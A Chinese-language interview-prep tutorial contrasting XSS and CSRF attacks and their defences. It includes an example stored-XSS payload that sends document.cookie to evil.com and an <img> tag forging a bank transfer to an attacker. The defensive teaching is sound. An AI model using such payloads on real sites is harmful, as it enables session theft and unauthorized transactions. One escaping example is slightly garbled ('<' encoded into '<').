XSS vs CSRF｜兩種最常見 Web 攻擊的原理與防禦

TL;DR | 面試情境模擬

#

👴 面試官：XSS 和 CSRF 有什麼差別？怎麼防禦？

🧑‍💻 你：XSS（Cross-Site Scripting）是攻擊者把惡意 JavaScript 注入到你的網站，讓受害者的瀏覽器執行，可以偷 Cookie、劫持 Session。CSRF（Cross-Site Request Forgery）是偽造使用者的請求，利用瀏覽器自動帶 Cookie 的機制，讓使用者在不知情的狀況下執行操作。XSS 防禦靠輸出編碼和 CSP；CSRF 防禦靠 CSRF Token 或 SameSite Cookie。

XSS：Cross-Site Scripting

#

攻擊原理

#

攻擊者把惡意腳本注入到網頁中，當其他使用者瀏覽這個頁面時，惡意腳本就在他們的瀏覽器執行。

攻擊者                    網站                    受害者
  │                        │                        │
  │ 在留言板輸入：           │                        │
  │ <script>               │                        │
  │   fetch('evil.com'     │                        │
  │   + document.cookie)   │                        │
  │ </script>              │                        │
  │──── 儲存到資料庫 ──────> │                        │
  │                        │                        │
  │                        │<── 受害者瀏覽留言板 ──── │
  │                        │── 回傳含惡意腳本的頁面 -> │
  │                        │                        │ 執行腳本
  │<── Cookie 被傳送到 evil.com ────────────────────  │

XSS 類型

#

防禦

#

1. 輸出編碼（HTML Escaping）：把 < 編碼成 <，讓腳本無法執行
2. Content Security Policy（CSP）：告訴瀏覽器只信任指定來源的腳本
3. HttpOnly Cookie：Cookie 設定 HttpOnly 後，JavaScript 無法讀取
4. 不要用 innerHTML：用 textContent 或 innerText 替代

CSRF：Cross-Site Request Forgery

#

攻擊原理

#

攻擊者誘使已登入的使用者點擊惡意連結，瀏覽器會自動帶上 Cookie，讓攻擊者代替使用者執行操作。

使用者已登入 bank.com

攻擊者誘使使用者點開惡意頁面：
  <img src="https://bank.com/transfer?to=attacker&amount=10000">

瀏覽器自動帶上 bank.com 的 Cookie 發出請求
  → Bank 以為是使用者本人操作
  → 轉帳成功

防禦

#

1. CSRF Token：Server 在表單裡放一個隨機 Token，提交時驗證，攻擊者不知道這個值
2. SameSite Cookie：設定 SameSite=Strict 或 Lax，跨站請求不帶 Cookie
3. 驗證 Origin / Referer Header：檢查請求來源是否是自己的域名

核心差異一覽

#

💡 面試官可能會追問

#

Q1：如果網站有 XSS 漏洞，CSRF Token 還有用嗎？

#

沒用。攻擊者透過 XSS 可以直接讀取頁面上的 CSRF Token，然後用它偽造請求。所以 XSS 和 CSRF 的防禦都要做，不能只做其中一個。

Q2：SameSite=Lax 和 Strict 的差別？

#

• Strict：任何跨站請求都不帶 Cookie（包括點外部連結進入），安全性最高但使用體驗差
• Lax（預設）：頂層導航（點連結）帶 Cookie，但 iframe / fetch / img 等跨站請求不帶
• None：所有跨站都帶（需要搭配 Secure，只在 HTTPS 下有效）